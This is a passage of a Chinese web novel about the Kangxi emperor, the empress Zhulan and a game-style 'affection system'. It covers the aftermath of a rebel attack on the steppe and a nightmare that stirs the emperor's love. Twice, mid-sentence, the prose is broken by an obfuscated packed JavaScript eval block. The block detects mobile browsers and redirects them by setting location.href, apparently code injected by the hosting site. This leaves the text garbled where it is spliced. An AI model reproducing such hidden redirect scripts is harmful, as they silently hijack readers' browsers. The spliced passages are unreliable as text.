这段时间的分别与通信,仿佛给了皇帝一种感情上的升华,让他总会控制不住的去想念。 话音未落,第二封加急奏报就递了进来,这是粘杆处送来的密报。 剧情开始快进了,皇帝的情绪也跟着不断递进。 康熙展开一看,“太皇太后大营遇袭”几个字刺得他眼疼,是真眼疼。 他猛地起身,捂住了眼睛,龙袍扫过御案,奏折散落一地。 “快!传旨!让漠南各部不惜一切代价护着老祖宗!让端敏的骑兵即刻驰援!”他在殿内踱来踱去,额头上的青筋突突直跳,恐惧像藤蔓般缠上来——若是老祖宗有半点闪失,他这个皇帝,还有何面目面对列祖列宗? 他心中还有一些埋怨,老太太非要置气,不肯回来,这下子可怎么办。 两人之前的政治默契,是祖母在外躲开宗室,孙儿好放手收拾那些出工不出力的老人儿。 还有珠兰,珠兰如何了…… 此刻,皇帝俨然已经顾不得初衷了。 对了,珠兰在漠西,她应该无事。 皇帝掐算着时日,珠兰上一封信写太皇太后与太后返回漠南,她和阿日娜苏在漠西要盘桓些日子。 可是,不知此时她在哪里,若是她回了大营······ 康熙急的彻底是坐不住,朕不能没有珠兰。 太皇太后,着实不能再由着性子犯险了。 王辅臣,罪该万死! 总之,皇帝是无错。 这般情况下,康熙一宿没睡,眼睛都熬的通红。 大学士们就陪着,都在等最新的消息,他们还要负责安抚皇帝濒临崩溃的情绪。 不仅是安抚皇帝,还要时不时去看看葛大人,眼睛都哭肿了,可不能再哭了。 第三天傍晚,第三封加加加急奏报又到了。 皇帝一把抢过去,葛布喇急忙凑上去。 这是端敏派人从军中加急送来的,字里行间都是捷报,“皇后娘娘带着护军营接应至漠西边界,王辅臣已死,太皇太后、太后娘娘无恙。” 随之而来的,还有太皇太后的信,令皇帝万不可重罚各部,此时正当用人之际。 康熙捏着奏折的手忽然松了劲,整个人像被抽走了骨头,瘫坐在龙椅上。 珠兰怎么就不知道给朕也送一封信呢,不知朕心急如焚否? 后怕、狂喜、怒火……种种情绪撞在一起,让他半天说不出话。 过了许久,他才哑着嗓子道:“赏!都赏!” 葛布喇连连点头,有惊无险,祖宗保佑。 旨意一道道发出去,笔锋里带着未平的波澜: 宁夏八旗军统领革职查办,所部军饷减半,全军罚守边关三年——王辅臣从他们眼皮子底下溜走,这笔账必须算。好在太皇太后、太后无事,否则所有人都得陪葬。 绿营迟缓未至,先前的战功一笔勾销,将领各降一级——关键时刻掉链子,留着何用! 端敏麾下骑兵、护军营等破格赏银万两,将士各升一级,端敏再赐金册金宝,享双俸,——这丫头没辜负他的信任,冯唐也算可用。至于皇后与宣贵妃,朕自然是记功。 轮到佟国纲时,康熙的笔顿了顿。 奏折里写得明白,他拼死护着太皇太后、太后与两位长公主突围,勇猛可嘉,可火器营被王辅臣的残兵冲得七零八落,兵将损失惨重,终究是过失。 想起当年平鳌拜,佟国纲带着火器营堵在宫门口,枪杆上的血映着朝阳,那股悍劲至今难忘。 毕竟有太皇太后之言在先,这可不是朕偏袒。 “功过相抵吧。”康熙叹了口气,笔下判得含糊,“仍领火器营,戴罪立功。” 倒是鄂伦岱和叶克书,让他眼前一亮。 一个死守大营断后,一个跟着佟国纲护驾,年纪轻轻却有章法。 “鄂伦岱升一等侍卫,叶克书赏云骑尉世职。”康熙提笔时,难得带了点笑意,“佟家的两个小子,倒没丢他祖父的脸。” 佟国纲有爵位在身,佟国维的爵位还不能传给后代继承,所以康熙也是考虑了实际情况,才给两个表哥发了靠谱的赏赐。 其余八旗人等,有功者皆赏。 最后看到汉军旗贾赦、贾敏的名字,康熙沉吟片刻。 贾敏先前已得爵位,这次随着端敏行军,调度有方,“加俸,授参军职,随端敏理事”——这丫头沉稳,堪用,给个正经职务,朕也不惧流言蜚语。 珠兰给皇帝加的开明属性,虽然掉下去不少,但总不算白加的。 至于贾赦……康熙想起当年的贾代善,嘴角撇了撇。 奏折里说他在大营里光着膀子抡长矛,把叛军捅得屁滚尿流,倒有几分血性。 可想起贾代善那副老狐狸模样,还有荣宁街上两副牌匾,心里又犯了嘀咕。 “赏黄金百两,绸缎二十匹。”他笔下只给了些虚物,却也写了句,“贾赦,记功,观后效。” 梁九功看着旨意,心里明白,这“观后效”三个字,意味着贾赦已经入了皇帝的眼。 窗外的天泛了白,康熙放下朱笔,望着晨光里的紫禁城,又想起珠兰,可有想朕。 再度想起太皇太后,不知老太太受了这场惊,身体如何了。 “传旨,”康熙对梁九功道,“请太皇太后好生休养,等身子好些,朕亲自去接。” 这草原上的幺蛾子事可太多了,比南边还让人揪心。 至于叛军这边如何处置,王辅臣已死,按照皇帝的意思,这些人既然敢打皇室贵人的主意,必然要诛灭九族以为震慑。 但这人的九族,牵连着宗室,所以还要斟酌。 大学士们表示,赏由上,但诛杀之事,好请皇帝三思,南边毕竟还没平定,好多人看着呢。 康熙无奈,从谏如流。 那些赏罚,不过是做给天下人看的规矩。 真正记在他心里的,是草原上那场惊魂——有人掉了链子,有人拼了命,有人藏着心思,有人透着锋芒。 这场仗,不仅打垮了王辅臣部,也让他看清了身边的人和自己的心。 乾清宫的钟声响起,惊飞了檐角的鸽子。 新的一天开始了,而那些写在奏折里的名字,早已在皇帝心里,排好了新的位次。 毡帐里,药味混着酥油茶的香气弥漫了整日光景。 太后躺在铺着厚羊毛毡的床榻上,脸色白得像张薄纸,连呼吸都带着气若游丝的轻颤。 太皇太后坐在榻边,握着她冰凉的手,指尖能清晰地摸到腕骨——不过一场两日一夜的逃亡,竟让这病弱的身子又垮了大半。 “再喝口药吧。”苏麻喇姑端着黑褐色的药碗,轻声劝道。 太后只是摇头,眼尾的泪无声滑落,沾湿了枕巾:“额娘……我怕是……撑不到回京了……” “胡说!”太皇太后皱紧眉头,声音却放得柔了,“珠兰让人调了最好的太医,再过半日就到了。你得好好的,看玄烨那孩子给你生孙儿呢。”话虽硬气,她自己也清楚,太后这身子虚的太过了,必须回京才能好好养着。 隔壁的毡帐里,雅图和阿图姐妹双双歪在榻上,三五日了,还是连说话的力气都欠奉。 雅图的胳膊被叛军的刀划了道深口子,此刻缠着厚厚的绷带,稍微动一下就疼得龇牙咧嘴;阿图是吓着了,夜里总做噩梦,一闭眼就是叛军举刀冲过来的样子,白日里也睁着双红肿的眼睛,愣愣地发呆。 “水……”阿图哑着嗓子唤了声,侍女连忙递过水杯,她却只抿了一小口就放下,“皇额娘呢?” “回公主的话,太皇太后娘娘在太后娘娘那边。”侍女回话,“太皇太后娘娘精神好,方才还去帐外看牧民放羊呢。” 阿图和雅图对视一眼,都从对方眼里看到了惊讶。论年纪,太皇太后比太后大了近二十岁;论奔波,老太太也没少受颠簸,可此刻人家竟能在帐外散步,还指着羊群跟牧民说笑,倒像是没经过那场惊魂一般。 正说着,太皇太后掀帘进来,身上还带着外面的寒气,手里却攥着两串刚摘的沙棘果,红彤彤的看着就喜人。 “来,尝尝这个,酸得提神。”她把果子往雅图和阿图手里一塞,自己先拿起一颗扔进嘴里,眯着眼咂咂嘴,“当年在科尔沁,跟你祖父跑马,渴了就摘这个吃,比宫里的蜜饯爽口。” 雅图捏着沙棘果,看着祖母眼角的皱纹里还带着风霜,却依旧精神矍铄,忍不住问:“您……您不觉得累吗?” “累啊,怎么不累?”太皇太后往榻边一坐,拍了拍发麻的腿,“可累也得挺着,琪琪格病着,你们俩吓着了,我要是再垮了,谁给珠兰撑场子?” 漠南各部怕遭责难,都来拜见了。漠北那边,因为王辅臣军中向导被指认穿着他们的衣服,也诚惶诚恐的来了,老太太无论如何也得见他们。 她拿起颗沙棘果,塞到阿图手里,“这世上的事,就怕‘认怂’。你越怕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265702|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它越欺负你;你硬气起来,它反倒没辙了。” 阿图含着沙棘果,酸得眯起了眼,眼泪却跟着涌了出来。皇额娘不是铁打的,只是把“惧”藏得深,把“势”露在外面。 帐外传来珠兰的声音,说太医到了。 太皇太后起身往外走,脚步虽慢,却稳当得很。雅图望着她的背影,觉得那背影与额娘年轻时一样挺拔。 或许,所谓“老当益壮”,从来不是身子骨有多硬朗,而是心里那股不服输的劲——知道身边有人要护,知道肩上有事要扛,便再累再怕,也能咬着牙站起来,笑着往前走。 沙棘果的酸劲还在舌尖,雅图却觉得,自己好像也没那么怕了。 漠西的阳光透过毡帐的缝隙,在地上投下细碎的光斑。 太皇太后拉着珠兰的手,指尖摩挲着她腕间那只磨得光滑的翡翠玉镯——还是当年她亲手给珠兰戴上的。 帐外传来太医诊脉的声音,琪琪格的咳嗽声低低的,像根细线揪着人心。 “你可想回家了?”太皇太后忽然问,目光落在珠兰脸上。这丫头脸上的风霜重了些,却更添了几分沉静,这些日子她虽然沉寂了些,但老太太知道她心中有数。 望着老太太眼里的暖意,珠兰心里明镜似的。太皇太后这话,明面上是问她,实际是替病榻上的太后问的。 珠兰轻轻点头,“可不是嘛,孙媳可想回去了。出来这么久,京里的牡丹该谢了,御膳茶房的杏仁酥,怕是也换了新厨子做了。”她顿了顿,故意垂下眼睫,带着点娇嗔,“也不晓得皇上还记不记得孙媳,别是被宫里的新鲜玩意儿勾走了魂。” “你呀!”太皇太后被她逗笑了,伸手点了点她的额头,啐了一口,“就你们小两口那信件,一封接一封的,哀家看了都嫌眼晕。前儿还收到皇上给你的信,说让你把漠西的沙棘果寄些回去,他想尝尝——这叫不记得?” 珠兰的脸颊微微发烫,想起那些被太皇太后有意撞见的信,字里行间确实带着些女儿家的絮叨,连她自己回头看了都觉得腻歪的很。 “老祖宗又取笑孙媳。”她轻轻挣开太皇太后的手,转身从吉雅手上接过茶壶,给续了杯温热的奶茶,“太后娘娘这身子,确实得回京养着。宫里的暖阁、药材,总比草原上周全。” 太皇太后叹了口气,望着帐外:“是该回去了。出来这一趟,该看的看了,该闹的也闹了,再耗着,倒显得哀家不懂事了。” 她握住珠兰的手,这次用了些力,“回去后,好好跟皇上过日子。别学哀家,总想着拿捏些什么。” 珠兰听着系统提示音,微笑点头。 帐外的风停了,太医刚好诊完脉出来,对着太皇太后和珠兰躬身道:“太后娘娘身子虚,却也无大碍,只是需得静养,回京调理最好。” 太皇太后笑了,拍着珠兰的手:“听见了?这可不是哀家催你,是老天爷都想让咱们回家了。” 毡帐外的羊群慢悠悠地啃着草,远处的骑兵正在操练,一切都透着安宁。 珠兰望着老太太眼里的想念,家从来不是某个固定的地方,是身边的人在,牵挂的人在,哪怕走得再远,也总有条路,引着人往回走。 夜间,烛火在案头明明灭灭,将苏麻喇姑的身影投在毡帐壁上,忽长忽短。 吉雅来报,说姑姑来了。 珠兰不由得微微一怔,请了她进来坐下,这才说道:“苏麻喇姑姑,这时候还没歇着?” 苏麻喇姑在榻边坐下,手里的青布帕子捏得有些皱,语气里带着几分夜露的凉:“老祖宗夜里辗转反侧,总惦记着那收留咱们的小部落,再三嘱咐,说救命之恩断断不能轻慢了。” 珠兰闻言便笑了,眼底的倦意散了些:“阿日娜苏去打点了。特意给他们划了靠河的那片沃野,又添了百十来只牛羊。等开春了,就让糖坊招他们的族人去做事,管吃管住还发月钱。您放心,日子定会越过越兴旺的。” 苏麻喇姑这才松了口气,帕子在掌心慢慢展平:“那就好,老祖宗心里头的石头也算落了地。” 她说着便要起身,手搭在帘绳上时却又停住,转过身来,目光落在珠兰脸上,带着几分斟酌:“宣贵妃……当真要留在漠西主持诸事?” 珠兰点头,指尖轻轻拂过锦被上绣的缠枝纹,“前些日子去信问过皇上,他也说漠西刚经了兵祸,人心未定。阿日娜苏既熟稔草场的章程,商队的事也离不得她,不如就让她先留下。太皇太后和太后娘娘的娘家都在漠南,漠西安稳了,老家人那边也能安心。” 她顿了顿,声音沉了些:“王辅臣流窜时,沿途不少小部落遭了劫掠,牛羊被牵走,毡帐被烧毁。这些安抚的琐碎事,总得有个细心妥帖的人盯着,阿日娜苏是最合适的。” 苏麻喇姑望着帐外沉沉的夜色,轻轻叹了口气:“宣贵妃是个要强的,留在这风霜地里,不比在京里舒坦。只是……她若愿意,倒也是桩功德。” “她自己乐意着呢。”珠兰想起阿日娜苏接到旨意时,眼里亮得像落了星子,“她说漠西的风虽烈,却能让人心里敞亮。” 苏麻喇姑笑了,眼角的细纹里盛着暖意:“你们这些年轻人,心思都野得很。” 她掀帘出去,又回头叮嘱,“老祖宗说,明日想看看新绘的草场舆图,你让侍卫早些备好。” 帐帘落下,将月光也隔在了外面。 珠兰重新躺下,听着帐外渐起的风声,嘴角还凝着笑意。阿日娜苏留下,既是皇命,也是她的心意——漠西这盘棋牵扯西域乃至天竺,总得有个可靠的人守着。 打开系统面板,她指尖轻轻拂过那数字,嘴角勾起一抹浅淡的笑。 将近两年的时光,从京城到草原,从漠南到漠西,像场漫长的博弈。初来时,太皇太后对她的亲密度始终达不到阈值,看她的眼神里,带着审视和提防。 到白天老太太拉着她的手说“该回家了”,数字终于爬到了“60”——这意味着,在老太太心里,她不再是“需要提防的皇后”,而是“能交心的孙媳”。 这两年谋划的,可不止这一个数字。 商队的印信成了草原上的通行证,护军营的铁骑能镇住漠西的乱局,端敏的锋芒、阿日娜苏的干练,甚至鄂伦岱、贾赦的勇武,都成了她棋盘上的子。 王辅臣这颗“意外”的棋,反倒成了最后的催化剂,让太皇太后看清了人心,也看清了她的用心。 “总算没白折腾。”她低声自语,指尖划过腕间的玉镯。 这60的亲密度,不是靠撒娇讨好换来的,是靠一次次在危局里站稳脚跟,靠把“算计”藏在“恩惠”里,让老太太明白——她要的从不是博尔济吉特氏的权,而是让这大清的江山,能在她们祖孙、婆媳手里,稳稳妥妥地传下去,她们会是一伙儿的。 这场持续了两年的“布局”,赢了。 89. 虐恋开端 乾清宫的夜漏敲过三响时,殿外的风正卷着落叶拍打窗棂,像极了某种细碎而执着的叩门声。 康熙猛地从龙榻上弹坐起来,明黄的寝衣后背已被冷汗浸出深色的痕迹,贴在脊骨上凉得刺骨。 他抬手按住胸口,那里像是被数九寒冬里的冰锥狠狠凿过,钝痛顺着血脉蔓延到四肢百骸,连指尖都在微微发颤。 自从珠兰随太皇太后去了草原,朝中杂乱,宫务烦扰,他白日常常莫名眼疼,晚上的睡眠质量也一直不好,常常熬夜到天亮。 接到草原大营遇袭的消息后,更是连着几天没睡。 今日本是御医恳求多次,他才肯早早入眠,辗转反侧终于得以入睡,结果做了一个让他直接半夜惊醒的噩梦。 “皇上?”殿外传来侍卫压低的问询声,显然是被他骤然坐起的动静惊动了。 康熙没有应声,只是攥紧了拳头。 指节泛白的瞬间,梦里的血色又漫了上来——那不是紫禁城惯见的、被朱砂染过的明黄,而是带着铁锈味的、活生生的红。 他已经很久,没有这样惊悸过了。 自八岁那年父皇龙驭上宾,夜里总梦见自己被抛在空旷的太和殿,文武百官的朝服下摆扫过金砖地,发出哗哗的声响,却没有一个人肯回头看他。 葛布喇曾撞见过一次他梦魇,自此梦中便再无父母遗弃之景。 这些年国泰民安,连三藩的战事都渐渐有了眉目,他原以为那些噬人的噩梦早就随着年纪长了,散了。 直到今夜。 梦里的场景是漠西的毡帐,他认得那顶绣着孔雀蓝缠枝纹的帐帘——去年珠兰从漠西寄回的信里,曾附着一张小画,画的就是这顶帐子,旁边还歪歪扭扭写着“风大,帐帘总被吹得噼啪响”。 可此刻,那帐帘被一把锈迹斑斑的刀劈成了两半,木杆断裂的脆响像冰碴子砸在心上。 他看见珠兰站在帐口,月白色的旗装衬得她脖颈愈发白皙。 太皇太后被苏麻喇姑扶着往帐后躲,太后的哭声细碎得像抽丝,而珠兰正张开双臂挡在她们身前,像只护崽的母鹿。 王辅臣的亲卫们狞笑着围上来,那些人的脸模糊不清,却能看清他们甲胄上凝结的黑血,和手里长刀上闪烁的寒光。 “皇后!”他听见自己在梦里嘶吼,可喉咙像是被棉絮堵住,声音细得像蚊蚋。 他想冲过去,脚却像被钉在原地,眼睁睁看着珠兰被地上的毡毯绊倒,裙摆扫过散落的铜灯,灯盏摔在地上,火油溅开,燃起一小簇幽蓝的火苗。 然后,他看见她抬手拔下发间的金簪。 那支簪子是他亲赐的,她生辰时,他特意让内务府造办处打了这支赤金嵌东珠的簪子,珠兰收到时还笑着说“太华贵了,可我喜欢。” 此刻,那温润的东珠在火光里闪烁,她反手将簪尖对准了自己的脖颈。 “不要——!”他拼命挣扎,指尖抠进青砖地,指甲缝里渗出血来也不觉得疼。 金簪扎进去的瞬间,没有惊天动地的声响。 只有珠兰的身体轻轻晃了晃,像被风吹得倾斜的花枝。 鲜血涌出来的速度快得惊人,顺着她的脖颈往下淌,染红了月白色的衣襟,也染红了他伸过去的手。 那血是烫的,像刚从熔炉里舀出来的铁水,烫得他手背皮肤发疼,连带着心脏都像被放进滚水里煮。 “珠兰……”他听见自己的声音在发抖,可梦里的她只是抬起头,目光穿过层层人影落在他脸上。 她的嘴角甚至还带着点浅淡的笑,像是在安慰,又像是在告别。 她张了张嘴,似乎想说什么,最终只化作一声极轻的叹息,像漠西草原上最温柔的风。 他终于能动了,疯了似的扑过去抱住她。 可怀里的人轻得像片羽毛,身体正在迅速变冷。 他想捂住她脖颈上的伤口,血却从指缝里往外涌,染红了他的龙袍前襟,也染红了地上的毡毯。 火油燃得更旺了,帐子的角落开始冒烟,太皇太后的哭声变得撕心裂肺,他什么都听不见了,眼里只有珠兰渐渐失去神采的眼睛。 “是梦……”他喃喃自语,却感觉不到丝毫清醒的迹象。 这梦境太真了,珠兰发间的香气、血液的温度、甚至她最后那声叹息里的无奈,都真实得仿佛就发生在眼前。 他想起幼时父皇弥留之际,自己也是这样徒劳地抓着那只枯瘦的手,眼睁睁看着生命一点点流逝,留不住,抓不牢。 “珠兰——!” 这一次,嘶吼终于冲破了喉咙。 声音撞在乾清宫的梁柱上,发出嗡嗡的回响,惊得殿外的侍卫们“噗通”跪倒一片,连远处值夜的太监都提着灯笼往这边跑。 康熙猛地回过神,胸口的钝痛让他剧烈地咳嗽起来。 他弯着腰,咳得眼泪都流了出来,喉间涌上一股浓重的腥甜,像是有什么滚烫的东西要从嗓子里呕出来。他死死捂住嘴,指缝间渗出来的,是带着铁锈味的血沫。 “皇上!”梁九功跌跌撞撞冲进来,手里的灯笼晃得厉害,“您……!这……?奴才这就传太医!” “滚……”康熙的声音沙哑得像被砂纸磨过,他挥手打翻了小太监递过来的茶盏,瓷器碎裂的脆响让他稍微清醒了些。 他看着地上的狼藉,又低头看了看自己的手——没有珠兰的血,也没有烫痕。 可梦里的触感还在。 那滚烫的血,那逐渐变冷的身体,那最后一眼里的笑意,都像烙印似的刻在脑子里。 他跌跌撞撞地走到窗边,推开沉重的窗扇。 寒风灌进来,打在脸上生疼,却吹不散眼前的血色。 宫墙外的更鼓声闷闷地传来,已经是四更天了,离天亮还有一个时辰。 漫漫长夜,像是永远都走不完。 莫名的,他想起第一次见到珠兰的样子。 那年她穿着粉白色的旗装,站在慈宁宫大殿,落落大方地给自己请安。 初见她时,只觉得她眉眼温顺,不像其他贵女那般张扬,却也没特别放在心上。 后来大婚,她成了他的皇后。 他总觉得她身上不仅有女子的娇憨,敢赖在乾清宫不走;也像个精明的账房先生——内务府都被她理顺。 她是那么,与众不同。 三藩未平,草原又起了商路纷争,太皇太后坚持要亲自去坐镇。 他本想派个信得过的宗室女伴驾,珠兰却主动请缨,说“臣妾去最合适,既懂些分地章程,也能替皇上尽孝”。 他当时很反对,觉得漠西苦寒,又有叛军隐患,可她一句“皇上是天下人的皇上,不能总想着儿女情长”,让他哑口无言。 她走的那天,他去宫门口送她。 她对着他弯腰行礼,说“皇上保重,臣妾去去就回”。他看着她的队伍消失在路的尽头,心里忽然空落落的,像被剜去了一块。 从那以后,他才渐渐发现,这宫里处处都是她的影子。 御膳房总记得在他批奏折时温着莲子羹,那是她教的;南书房的笔墨总摆得整整齐齐,那是她让人收拾的;甚至连顾问行、梁九功回话时,也总提起养心殿如何、内务府如何,每一句都带着珠兰的影子。 他开始盼着她的信,每一封都写得密密麻麻,先说漠西的天气,再说草原上的趣事或者正事,最后才会提一句“皇上勿念”。 他把那些信都收在一个锦盒里,夜里睡不着时就拿出来看,看她写“今日见了只白狐,毛滑得像缎子”,看她画歪歪扭扭的毡帐,看她在信尾画个小小的笑脸。 可梦里的那一幕,像把淬毒的匕首,捅破了所有的平静。 他第一次如此清晰地意识到,珠兰不是永远都在那里的。 她会累,会疼,她是国母,也是凡人,没有千秋万岁,一样会流血,一样会离开。 而他这个坐拥天下的帝王,在生死面前,竟和当年那个抓不住额娘衣角的孩子一样,无能为力。 “从来留不住的,才是爱吗?”他对着窗外的风雪低语,声音里带着自己都未察觉的颤抖。 父皇走了,额娘也走了,他们都曾是他生命里最重要的人,可他留不住。 如今珠兰……他不敢想下去,胸口的疼痛又翻涌上来,比刚才更甚。 “梁九功。”他唤道,声音依旧沙哑。 “奴才在。”梁九功连忙上前,大气都不敢喘。 “备笔墨。” 御案上很快铺好了宣纸,他拿起笔,手抖得厉害。 墨汁滴在纸上,晕开一个深色的圆点,像极了梦里珠兰脖颈上的伤口。 他深吸一口气,一笔一划地写: “珠兰吾妻,见字如面。” 刚写了这一句,眼泪就滴落在纸上,晕开了“妻”字的最后一笔。 他放下笔,用袖子擦掉眼泪,可那温热的液体却越流越多,怎么也擦不干净。 他想起珠兰离京前,曾笑着问他:“皇上,等臣妾回来,能不能不做皇后了?就做个寻常的妇人,陪您看看折子,聊聊天。” 那时他以为她在说笑,还板着脸说“皇后乃国母,岂能说这种话”。 现在想来,他那时真是蠢得可以。 什么国母,什么江山,若没有她在身边,这万里江山,也不过是座冰冷的囚笼。 窗外的雪渐渐停了,天边泛起一丝鱼肚白。 远处传来太监们扫地的声音,还有早起侍卫换岗的甲胄碰撞声。 新的一天开始了,他这个皇帝,很快又要戴上那副圣明的面具,去面对满朝文武,去处理堆积如山的奏折。 可此刻,他只想放下一切,快马加鞭赶到漠西去。他想看看珠兰是不是真的安好,想亲手摸摸她的发簪还在不在,想告诉她,不用再做那个坚强的皇后了,往后有他在,她什么都不用怕。 他重新拿起笔,这一次,手稳了些。 “漠西风寒,多添衣物。莫要再像从前那般,总想着省料子,把自己冻着。” “太后身子弱,你多照看些,可也别累着自己。朕已让人把暖炉往那边送了,路上小心,莫要急着赶路。” “朕在京里很好,只是……很想你。” 写到最后一句,他停顿了很久,才落下最后一笔。墨色在纸上凝固,像一颗沉甸甸的心。 他把信纸折好,放进信封,递给梁九功:“八百里加急,送去漠西,交给皇后。” “奴才遵旨。”梁九功接过信封,看着皇上眼底的红血丝,还有那未干的泪痕,心里咯噔一下,却不敢多问。 殿门关上的瞬间,康熙又一次捂住了胸口。梦里的血色终于淡了些,可那份恐惧,却像生了根似的,扎在了心底。 他知道,从今往后,他再也无法像从前那样,坦然地看着珠兰身处险境了。 哪怕只是万分之一的可能,他都承受不起。 因为他终于明白,有些东西,比江山更重,比性命更要。 比如,珠兰的笑。 比如,她那句轻轻的“皇上,臣妾回来了”。 比如,这漫漫长夜里,支撑着他走下去的,唯一的光。 他从未如此清晰地意识到,那个总跟他说些“京城风大,皇上保重”之类的话儿糊弄他的女子,那个画小像调侃他“鬓角多了根白头发”的女子,早已成了他骨头上的肉,心尖的血。 他闭了闭眼睛,回忆再一次翻涌。 她刚入宫时,赖在乾清宫不走,非要不住坤宁宫;她主持内务府时,熬数个通宵把上上下下算得清清楚楚…… 珠兰于他而言,是年少时延续至今的习惯,不突兀,无起伏,平平静静,理所当然。 那时他总以为,她是皇后,是葛布喇的女儿,该有这样的担当。 可梦里那抹决绝的白,像一把刀,剖开了他所有的镇定——他不要她的担当,不要她的牺牲,他只要她好好的,哪怕她像个寻常女子般娇气,般依赖他,都好。 将近两年的分离,让皇帝体会到何为思念。 一场梦,让自诩身负天命的皇帝生了惶恐。 他睁开眼睛,想写“速让皇后回京”,笔尖落在纸上,晕开一团墨;想写“漠西诸事交与他人”,却又想起她信里说“分草场的事快成了,再等等”。 大局,一切都为了大局…… 梦里的血色又漫了上来,他猛地将笔摔在地上,墨汁溅了满地,像极了她脖颈间流淌的血。 商路、准噶尔、罗刹人…… 谁说草原没有危机的,明明是群狼环伺! “朕要去漠西!”他对着空气低吼,“现在就去!” 侍卫们跪在地上,没人敢接话。他们从未见过皇上这般失态,仿佛天塌了一般。 梁九功膝行往前,恭敬叩首,等待皇帝冷静。 康熙跌坐在龙椅上,望着窗外沉沉的夜色,第一次觉得这紫禁城大得可怕。 他拥有天下,却护不住一个只是去往草原,就会脱离他羽翼的女子。 天下,还不是爱新觉罗的天下。康熙无比冷静的思索着局势,从北到南,从东到西,皆乱局也。 那点帝王的骄傲,在梦里的血色面前,碎得片甲不留。 “珠兰……”他喃喃自语,指尖冰凉,“等着朕……朕这就来接你……” 梁九功低垂着头,全当自己不存在。 夜风吹进殿门,带着深秋的寒意,却吹不散皇帝心头的恐惧。 原来,他再也无法忍受她身处任何一丝威胁里,哪怕是万分之一的可能,都不行。 朕身负天命,梦皆有寓意,珠兰不可再留于草原,否则再有意外,朕必然抱憾终身! 这场噩梦,像一记重锤,砸醒了他所有的迟钝。他不能没有她,从来都不能。 但是……大局…… 重锤砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277103|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了系统面板上,珠兰迷迷糊糊醒来,看到皇帝的亲密度仿佛发疯一样的上涨。 什么情况…… 系统:皇帝的爱,似乎与他的爱人无关啊。 珠兰:受累,我没听懂? 系统:有一种人的爱,是他爱上了他的爱。 珠兰只觉得,自己头一次看不懂数据了。这系统自学了什么乱七八糟的,怎么还会打哑谜了。应该是太闲,找点活干就行了。 手作版本的系统,总会有bug。 太和殿的晨钟撞过三响,康熙已端坐在龙椅上。 明黄的龙袍衬得他面容沉静,昨夜梦里的血色与惊惶,尽数敛进了眼底深处。 阶下的朝臣们奏报着南方战事、漕运粮价、河道修缮,他一一听着,偶尔开口询问几句,声音平稳得听不出波澜。 “三藩余孽已不足为惧,着杰书、岳乐等人乘胜追击,务必年内荡平。” “秋汛刚过,让靳辅加紧修缮河堤,莫要误了明年春耕。” “宗室王公的俸禄薪金按南洋分成发放,贪墨者,查实一个办一个。” 句句条理分明,字字透着帝王的威严。 谁也看不出,这位圣明的天子,昨夜还因一场噩梦,在乾清宫里失态嘶吼。 散朝时,朝臣们躬身退下,心里都赞一句“皇上圣明,江山有幸”。 可等殿内只剩梁九功一人时,康熙捏着奏折的手指,却猛地收紧了。 方才的镇定像层薄冰,一触即碎。 他挥了挥手,声音带着不易察觉的急促:“笔墨。” 梁九功再一次快速铺好宣纸,丝毫不敢多问。 果然,他提笔写下的,不是军国大事,又是给珠兰的信。 “漠西风寒,多添衣物。” “太后身子弱,归途慢些无妨,护好她,也护好你自己。” “朕在京里等着,让御膳茶房给你留着玫瑰酥。” 一笔一划,写得极慢,仿佛要将所有牵挂都揉进墨迹里。 写完又觉不妥,揉了重写,换了更急切的语气:“何时启程?让端敏护着走大路,莫要再抄近路。” “朕已让人备好了暖轿,到了京郊,就换乘回来,路上安稳。” 不到半个时辰,竟又写了两封。 梁九功捧着信,看着皇上眼底的焦灼,还是没敢多问,只低声道:“奴才这就让人快马送去。” 康熙点了点头,目光落在窗外的宫墙上。 他知道自己不能走,南方的战事还吊着一口气,京里的政事牵一发而动全身,宗室那些盘根错节的家事,也得他亲自盯着。 他是天子,是这万里江山的当家人,不能像寻常男子那般,为了心上人就抛却一切。 分离与危机,催化了康熙的感情,让他不断正视自己的需求,爱也是一种情感需求。 指尖的凉意,骗不了人。心头的焦灼,瞒不过他自己。 爱,他首次正视这个字。 那三封信,像三根牵在手里的线,一头系着他,一头系着漠西的风。 他一遍遍告诉自己,王辅臣死了,叛军散了,珠兰身边有端敏,有护军营,安全得很。 可越是这样想,心里那点不安就越像野草般疯长。 “再传旨给端敏,”他忽然开口,声音沉了些,“令她寸步不离地护着皇后,若有半点差池,朕唯她是问。”现阶段,端敏这天生将才,比佟国纲、冯唐等人更让皇帝安心。 梁九功领旨而去,殿内又恢复了寂静。 康熙望着御案上堆积如山的奏折,觉得有些乏。当圣明的天子不难,难的是在天子的责任与心底的牵挂之间,找到一个平衡点。 他深吸一口气,重新拿起奏折。 朱笔落下,批得依旧干脆利落。 只是偶尔停笔时,目光会不自觉地飘向西北方——那里,有他等的人,正踏着草原的风,一步步归来。 而那些送往漠西的信,像一颗颗投入湖心的石子,带着他藏不住的急切,盼着能快点传到她手里,盼着能快点听到那句“即刻启程”。 毡帐里的阳光刚好落在案上那叠信上,珠兰一封封拆看,康熙的字迹透着显而易见的急切,连“玫瑰酥”三个字都写得比往常重些。 她随手点开系统面板,目光扫过“康熙亲密度:89”时,指尖顿了顿。 这数字,涨得比预想中快多了。 从草原遇袭前的“80”,到如今直逼“90”,不过短短几日走完两年的数据增长率。 